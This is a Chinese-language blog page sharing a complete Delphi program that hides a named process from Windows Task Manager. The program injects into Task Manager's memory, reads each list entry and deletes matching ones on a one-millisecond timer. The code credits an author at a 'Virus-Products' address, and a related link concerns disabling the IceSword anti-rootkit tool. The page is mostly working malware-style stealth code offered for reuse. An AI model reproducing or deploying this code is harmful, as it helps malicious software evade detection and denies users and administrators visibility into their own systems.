delphi 隐藏进程代码


本文整理自网络,侵删。

 PROGRAM Server;

USES Windows,CommCtrl;


VAR
MyTimerHandle:WORD;
MSG:TMSG;

FUNCTION MaGChar(CONST S: STRING): STRING; VAR Ch: Char; L: Integer; Source, Dest: PChar;
BEGIN L := Length(S); SetLength(Result, L); Source := Pointer(S); Dest := Pointer(Result);
WHILE L <> 0 DO BEGIN Ch := Source^; IF (Ch >= 'A') AND (Ch <= 'Z') THEN Inc(Ch, 32); Dest^ := Ch; Inc(Source); Inc(Dest); Dec(L); END; END;

FUNCTION CacheCache(_Processus:STRING):STRING;
VAR dwSize, dwNumberOfBytes, PID, hProcess:Cardinal; PLocalShared, PSysShared: PlvItem;
wnd: THandle; iCount, i: integer; szTemp: STRING;
BEGIN
wnd := FindWindow('#32770', NIL);
wnd := FindWindowEx(wnd, 0, '#32770', NIL);
wnd := FindWindowEx(wnd, 0, 'SysListView32',NIL);
iCount := SendMessage(wnd, LVM_GETITEMCOUNT, 0, 0);
FOR i := 0 TO iCount -1 DO
BEGIN
dwSize := SizeOf(LV_ITEM) + SizeOf(CHAR) * MAX_PATH;
pLocalShared := VirtualAlloc(NIL, dwSize, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE);
GetWindowThreadProcessID(WND, @PID); hProcess := OpenProcess(PROCESS_VM_OPERATION OR PROCESS_VM_READ OR PROCESS_VM_WRITE, FALSE, PID);
pSysShared := VirtualAllocEx(hProcess, NIL, dwSize, MEM_RESERVE OR MEM_COMMIT, PAGE_READWRITE);
pLocalShared.mask := LVIF_TEXT;
pLocalShared.iItem := 0;
pLocalShared.iSubItem := 0;
pLocalShared.pszText := LPTSTR(DWord(pSysShared) + SizeOf(LV_ITEM));
pLocalShared.cchTextMax := 100; WriteProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
SendMessage(wnd, LVM_GETITEMTEXT, i, LPARAM(pSysShared));
ReadProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
szTemp := PChar(DWord(pLocalShared) + SizeOf(LV_ITEM));
IF Pos(_Processus, MagChar(szTemp)) > 0 THEN
ListView_DeleteItem(wnd, i);
VirtualFree(pLocalShared, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pSysShared, 0, MEM_RELEASE);
CloseHandle(hProcess);
END;
END;

PROCEDURE TimerProc(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);STDCALL;
BEGIN
CacheCache('explorer.exe');
END;

PROCEDURE StartTimer(Interval:DWORD);
BEGIN
MyTimerHandle:=SetTimer(0,0,Interval,@TimerProc);
END;

BEGIN StartTimer(1);

WHILE(GetMessage(Msg,0,0,0))DO
BEGIN TranslateMessage(Msg); DispatchMessage(Msg); END;

{Coded By Agent-Hs32-Idir[V-P]}
{MSN : Hs32-Idir@Virus-Products.Hack}

END.

相关阅读 >>

Delphi 将鼠标锁定在一定范围

Delphi timagelist 中使用 透明 png 图标

阻止删除文件(文件占坑)的Delphi代码

Delphi 测试磁盘是否具有写访问权限

Delphi fmx自定义对话框样式,多屏幕布局

Delphi 强迫将半型英数字转换成全型英数字

Delphi getprocesshandleasname 获取进程句柄

Delphi richedit根据鼠标位置定位光标的方法

Delphi 关闭icesword等

Delphi copyfileprogressbar 拷贝文件显示进度条

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...